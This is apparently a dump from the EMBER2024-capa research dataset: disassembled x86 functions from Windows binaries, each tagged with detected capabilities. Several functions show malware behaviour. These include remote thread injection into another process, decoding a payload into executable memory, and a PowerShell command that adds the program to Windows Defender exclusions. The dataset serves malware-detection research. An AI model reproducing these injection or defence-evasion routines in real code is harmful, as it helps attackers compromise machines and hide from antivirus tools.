joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421c2f
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov dword [ebp - 0x28], 0xcc9e2d51
mov dword [ebp - 0x2c], 0x1b873593
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
neg eax
mov dword [ebp - 0x10], eax
jmp 0x421c7b
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x421cda
push dword [ebp - 0x10]
push dword [ebp - 0x24]
call fcn.004049e5
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
imul eax, dword [ebp - 0xc], 0xcc9e2d51
mov dword [ebp - 0xc], eax
push 0xf
push dword [ebp - 0xc]
call fcn.004049c3
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
imul eax, dword [ebp - 0xc], 0x1b873593
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
push 0xd
push dword [ebp - 8]
call fcn.004049c3
pop ecx
pop ecx
mov dword [ebp - 8], eax
imul eax, dword [ebp - 8], 5
sub eax, 0x19ab949c
mov dword [ebp - 8], eax
jmp 0x421c74
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x1c], eax
and dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
and eax, 3
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
je 0x421d32
cmp dword [ebp - 0x18], 2
je 0x421d1c
cmp dword [ebp - 0x18], 3
je 0x421d07
jmp 0x421d71
xor eax, eax
inc eax
shl eax, 1
mov ecx, dword [ebp - 0x1c]
movzx eax, byte [ecx + eax]
shl eax, 0x10
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
xor eax, eax
inc eax
shl eax, 0
mov ecx, dword [ebp - 0x1c]
movzx eax, byte [ecx + eax]
shl eax, 8
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
xor eax, eax
inc eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c]
movzx eax, byte [ecx + eax]
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
imul eax, dword [ebp - 4], 0xcc9e2d51
mov dword [ebp - 4], eax
push 0xf
push dword [ebp - 4]
call fcn.004049c3
pop ecx
pop ecx
mov dword [ebp - 4], eax
imul eax, dword [ebp - 4], 0x1b873593
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
push dword [ebp - 8]
call fcn.004049f3
pop ecx
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
leave
ret

Function at 0x421e99
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x421ee5
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x422032
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x42207e
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret

Function at 0x42211f
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x2800000
call fcn.00401000
pop ecx
mov dword [ebp - 0xc], eax
and dword [ebp - 0x10], 0
push 0
push 0x80
push 3
push 0
push 0
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x422161
mov eax, dword [ebp + 0xc]
and dword [eax], 0
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x42219b
mov eax, dword [ebp + 0xc]
and dword [eax], 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x4221a9
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
push 0x1000
push dword [ebp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
jmp 0x4221d1
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
ja 0x4221f3
mov eax, dword [ebp + 0xc]
dec eax
sub eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
movsx eax, byte [ecx + eax]
not eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 4]
mov byte [ecx], al
jmp 0x4221ca
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 8]
leave
ret
Function at 0x422291
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push esi
push edi
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x422381
cmp dword [ebp - 8], 0
je 0x42235e
push 0x40
push 0x1000
push 0xff
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
push 0x104
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 4]
push 5
pop ecx
mov esi, str.System32cmd.exe
mov edi, eax
rep movsd dword es:[edi], dword [esi]
push 0x44
push 0
lea eax, [ebp - 0x64]
push eax
call fcn.0040132f
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x42235c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
push 0x42c770
call fcn.00422385
pop ecx
pop ecx
jmp 0x422381
push 0x42a088
call fcn.004224a3
pop ecx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x422381
push dword [ebp - 0xc]
push 0x42c770
call fcn.00422385
pop ecx
pop ecx
pop edi
pop esi
leave
ret
Function at 0x422385
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push dword [ebp + 0xc]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x128], eax
push 0xff
call fcn.00401000
pop ecx
mov dword [ebp - 0x18], eax
push 0xff
push dword [ebp - 0x18]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x124]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
mov al, byte [eax]
mov byte [ebp - 1], al
mov eax, dword [ebp - 0xc]
mov cl, byte [ebp - 1]
mov byte [eax], cl
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
jne 0x4223e0
push 0x40
push 0x3000
push 0x800
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
push 0
push 0x800
push dword [ebp + 8]
push dword [ebp - 0x14]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x24]
push eax
push 0x40
push 0x800
push dword [ebp - 0x14]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 4
push 0x3000
push 0x103
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c], eax
push 0
push 0x103
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
add eax, 0x10e
push eax
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [0x560608], eax
leave
ret
Function at 0x4224a3
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
and dword [ebp - 0x18], 0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
push 0x128
push 0
lea eax, [ebp - 0x144]
push eax
call fcn.0040132f
add esp, 0xc
mov dword [ebp - 0x144], 0x128
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x42257a
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x120]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov al, byte [eax]
mov byte [ebp - 1], al
mov ecx, dword [ebp - 0xc]
cmp al, byte [ecx]
jne 0x42253e
cmp byte [ebp - 1], 0
je 0x422538
mov eax, dword [ebp - 8]
mov al, byte [eax + 1]
mov byte [ebp - 2], al
mov ecx, dword [ebp - 0xc]
cmp al, byte [ecx + 1]
jne 0x42253e
add dword [ebp - 8], 2
add dword [ebp - 0xc], 2
cmp byte [ebp - 2], 0
jne 0x422504
and dword [ebp - 0x14], 0
jmp 0x422546
sbb eax, eax
or eax, 1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x422562
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
jmp 0x422585
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4224f5
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
leave
ret

Function at 0x42297f
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 0xc], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x4263d0
push 1
push 0
push 0x426420
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp dword [ebp - 8], 0
je 0x422a24
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 4]
push eax
push 0x426410
push dword [ebp - 8]
call dword [ebp - 0x10]
cmp dword [ebp - 4], 0
je 0x422a1a
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push dword [ebp - 4]
call dword [eax + 0x14]
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0x18]
push eax
push 1
push dword [ebp - 4]
call dword [ebp - 0x14]
test eax, eax
jne 0x422a10
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
push eax
call fcn.00404d45
pop ecx
jmp 0x4229e0
lea eax, [ebp - 4]
push eax
call fcn.00404d45
pop ecx
lea eax, [ebp - 8]
push eax
call fcn.00404d45
pop ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4231fc
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [ebp + 0xc], 0
jne 0x42320d
jmp 0x423308
call fcn.0042297f
cmp eax, dword [ebp + 8]
jae 0x42321b
and dword [ebp + 8], 0
mov eax, dword [ebp + 0xc]
and dword [eax], 0
lea eax, [ebp - 8]
push eax
call fcn.004045fd
pop ecx
push eax
push 0x42a488
push 1
push 0
push 0x426420
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp dword [ebp - 8], 0
jne 0x42324b
jmp 0x423308
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 4]
push eax
push 0x426410
push dword [ebp - 8]
call dword [ebp - 0x18]
cmp dword [ebp - 4], 0
jne 0x423272
jmp 0x423308
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push dword [ebp - 4]
call dword [eax + 0x14]
and dword [ebp - 0xc], 0
xor eax, eax
inc eax
je 0x4232f4
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
push dword [ebp - 4]
call dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4232b0
jmp 0x4232f4
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x24], eax
push dword [ebp + 0xc]
push 0x4263c0
push 0
push 0
push dword [ebp - 0x10]
call dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
je 0x4232f2
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
jne 0x4232e2
jmp 0x4232f4
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
call fcn.00404d45
pop ecx
jmp 0x423281
lea eax, [ebp - 4]
push eax
call fcn.00404d45
pop ecx
lea eax, [ebp - 8]
push eax
call fcn.00404d45
pop ecx
leave
ret
Function at 0x423aac
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x18], str.powershell_Add_MpPreference__ExclusionPath
push 0x100
call fcn.00401000
pop ecx
mov dword [ebp - 0x14], eax
push 0x100
call fcn.00401000
pop ecx
mov dword [ebp - 8], eax
push 0x100
push 0
push dword [ebp - 0x14]
call fcn.0040132f
add esp, 0xc
push 0x100
push 0
push dword [ebp - 8]
call fcn.0040132f
add esp, 0xc
push 0x100
push dword [ebp - 0x14]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
mov al, byte [eax]
mov byte [ebp - 1], al
inc dword [ebp - 0xc]
cmp byte [ebp - 1], 0
jne 0x423b16
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push dword [ebp - 0x18]
push dword [ebp - 8]
call fcn.00401309
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, 0x2b
mov ecx, dword [ebp - 0x14]
mov dx, word [ecx]
mov word [eax], dx
mov cl, byte [ecx + 2]
mov byte [eax + 2], cl
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x10]
mov al, byte [eax]
mov byte [ebp - 2], al
inc dword [ebp - 0x10]
cmp byte [ebp - 2], 0
jne 0x423b63
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
xor eax, eax
inc eax
imul eax, eax, 0xff
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14]
mov al, byte [edx + eax]
mov byte [ecx], al
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WinExec]
leave
ret
Function at 0x401069
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x818030]
jne 0x401073
repz ret
jmp fcn.00401b61

Function at 0x40856b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040255c
and dword [ebp - 4], 0
cmp dword [0x81a8b4], 0
mov ebx, eax
jne 0x40861c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4086cd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4086cd
push eax
call fcn.004024ea
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x81a8b4], eax
call esi
push eax
call fcn.004024ea
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x81a8b8], eax
call esi
push eax
call fcn.004024ea
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x81a8bc], eax
call esi
push eax
call fcn.004024ea
pop ecx
mov dword [0x81a8c4], eax
test eax, eax
je 0x40861c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004024ea
pop ecx
mov dword [0x81a8c0], eax
mov eax, dword [0x81a8c0]
cmp eax, ebx
je 0x408674
cmp dword [0x81a8c4], ebx
je 0x408674
push eax
call fcn.00402565
push dword [0x81a8c4]
mov esi, eax
call fcn.00402565
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408674
test edi, edi
je 0x408674
call esi
test eax, eax
je 0x40866b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40866b
test byte [ebp - 0xc], 1
jne 0x408674
or dword [ebp + 0x10], 0x200000
jmp 0x4086ad
mov eax, dword [0x81a8b8]
cmp eax, ebx
je 0x4086ad
push eax
call fcn.00402565
pop ecx
test eax, eax
je 0x4086ad
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4086ad
mov eax, dword [0x81a8bc]
cmp eax, ebx
je 0x4086ad
push eax
call fcn.00402565
pop ecx
test eax, eax
je 0x4086ad
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x81a8b4]
call fcn.00402565
pop ecx
test eax, eax
je 0x4086cd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4086cf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ae80
Capabilities:
Set console window title

Disassembly:
mov eax, dword [0x2ff8264]
sub esp, 0x1c
push ebx
mov ebx, dword [0x2ff7f88]
push esi
mov esi, dword [0x818f70]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40aeb0
push str.zisodeyosebofoxojeken
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2ff8264]
mov dword [0x81aa14], esi
cmp eax, 0x114e
jne 0x40aeda
lea eax, [esp + 0xc]
push eax
push str.reneceligomezimogag
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2ff8264]
cmp eax, 0x2f
jne 0x40aef7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push ebx
call fcn.0040ad70
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
Function at 0x4036c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov eax, dword [0x46209c]
test eax, eax
je 0x4036f2
dec eax
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 2
jb 0x403707
mov ebx, eax
mov eax, dword [eax]
or eax, dword [ebx + 4]
je 0x403707
add ebx, 8
jmp 0x4037ec
mov ecx, 0x46209c
call fcn.004193f0
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 2
jae 0x4036e1
mov eax, dword [0x46209c]
test eax, eax
je 0x4037d1
dec eax
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
je 0x4037ea
mov ebx, eax
test eax, eax
jne 0x40376e
movzx eax, byte [0x476104]
mov ecx, 0x50
call fcn.0043d720
test eax, eax
je 0x403805
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 0x48], 0x46209c
mov ebx, eax
mov eax, dword [0x46209c]
test eax, eax
je 0x4037f6
dec eax
push ebx
push eax
call sub.kernel32.dll_TlsSetValue
mov edi, esp
mov ecx, 0x12
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov dword [ebx + 4], 0
mov dword [ebx], 1
add ebx, 8
mov ecx, 0x10
mov esi, 0x468d80
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp]
or eax, dword [esp + 4]
je 0x4037ec
mov eax, dword [esp + 0xc]
cmp eax, 2
je 0x4037ec
test eax, eax
lea ecx, [esp + 0x10]
je 0x4037c1
mov eax, dword [esp + 0x10]
lock dec dword [eax]
jne 0x4037ec
call fcn.00402950
jmp 0x4037ec
mov eax, dword [esp + 0x10]
lock dec dword [eax]
jne 0x4037ec
call fcn.00402ed0
jmp 0x4037ec
mov ecx, 0x46209c
call fcn.004193f0
push eax
call sub.kernel32.dll_TlsGetValue
cmp eax, 1
jne 0x403724
xor ebx, ebx
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, 0x46209c
call fcn.004193f0
jmp 0x403767
mov ecx, 8
mov edx, 0x50
call fcn.004068b0
nop word cs:[eax + eax]
nop
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1d0
call fcn.00403834
Function at 0x409d40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
push eax
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x14]
xor esi, esi
lea eax, [edx + eax*2]
mov dword [ebp - 0x10], eax
movzx eax, byte [edx + 1]
cmp byte [edx], ch
lea edx, [edx + 2]
lea edi, [esi + eax]
jne 0x409d90
cmp esi, edi
ja 0x409dfb
cmp edi, dword [ebp + 0x10]
ja 0x409e09
add esi, dword [ebp + 0xc]
nop word [eax + eax]
test eax, eax
je 0x409d92
dec eax
cmp byte [esi], cl
lea esi, [esi + 1]
jne 0x409d80
jmp 0x409def
ja 0x409d99
cmp edx, dword [ebp - 0x10]
mov esi, edi
jne 0x409d55
mov edi, dword [ebp + 0x18]
movzx ecx, cx
mov al, 1
add edi, ebx
nop word cs:[eax + eax]
nop dword [eax]
movzx edx, byte [ebx]
lea esi, [ebx + 1]
test dl, dl
js 0x409dd0
mov ebx, esi
sub ecx, edx
jns 0x409de7
jmp 0x409df1
cmp esi, edi
je 0x409e18
movzx esi, byte [ebx + 1]
and edx, 0x7f
add ebx, 2
shl edx, 8
or edx, esi
sub ecx, edx
js 0x409df1
xor al, 1
cmp ebx, edi
jne 0x409db0
jmp 0x409df1
xor eax, eax
and al, 1
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, esi
mov edx, edi
push 0x463d5c
call fcn.00408360
mov edx, dword [ebp + 0x10]
mov ecx, edi
push 0x463d5c
call fcn.00407aa0
mov ecx, 0x463d4c
call fcn.00408ba0
nop word cs:[eax + eax]
nop dword [eax]

Function at 0x40a6f0
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x80
mov eax, dword [ebp + 0x14]
mov ebx, edx
mov esi, dword [ebp + 0x1c]
mov edx, dword [ebp + 0x20]
mov edi, dword [ebp + 8]
mov byte [esp + 0x24], 0x30
mov dword [esp + 0x20], 0x30303030
mov dword [esp + 0x1c], 0x30303030
mov dword [esp + 4], ebx
mov dword [esp + 0x54], eax
mov eax, dword [ebp + 0x18]
mov dword [esp + 0x5c], esi
mov dword [esp + 0x60], edx
call fcn.0040a73a
Function at 0x410c40
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
push str.api_ms_win_core_synch_l1_2_0.dll
call sub.kernel32.dll_GetModuleHandleA
test eax, eax
je 0x410c84
mov esi, eax
push str.WaitOnAddress
push eax
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x410c84
mov edi, eax
push str.WakeByAddressSingle
push esi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x410c84
mov ebx, eax
mov dword [ebp - 0x10], 0
jmp 0x410cec
push str.ntdll.dll
call sub.kernel32.dll_GetModuleHandleA
test eax, eax
je 0x410d43
mov edi, eax
push str.NtCreateKeyedEvent
push eax
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x410d43
mov esi, eax
push str.NtReleaseKeyedEvent
push edi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x410d43
mov ebx, eax
push str.NtWaitForKeyedEvent
push edi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x410d43
mov edi, eax
mov dword [ebp - 0x10], ebx
lea eax, [ebp - 0x14]
push 0
push 0
push 0xc0000000
push eax
call esi
test eax, eax
jne 0x410d43
mov ebx, dword [ebp - 0x14]
movzx eax, byte [0x476104]
mov ecx, 0xc
call fcn.0043d720
test eax, eax
je 0x410d48
mov esi, eax
mov eax, dword [ebp - 0x10]
mov dword [esi], eax
mov dword [esi + 4], edi
mov dword [esi + 8], ebx
xor eax, eax
lock cmpxchg dword [0x476058], esi
je 0x410d39
cmp dword [esi], 0
mov edi, eax
je 0x410d29
push dword [esi + 8]
call sub.kernel32.dll_CloseHandle
push esi
push 0
push dword [0x4760c0]
call sub.kernel32.dll_HeapFree
mov esi, edi
mov eax, esi
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.00410d90
mov ecx, 4
mov edx, 0xc
call fcn.004068b0
ud2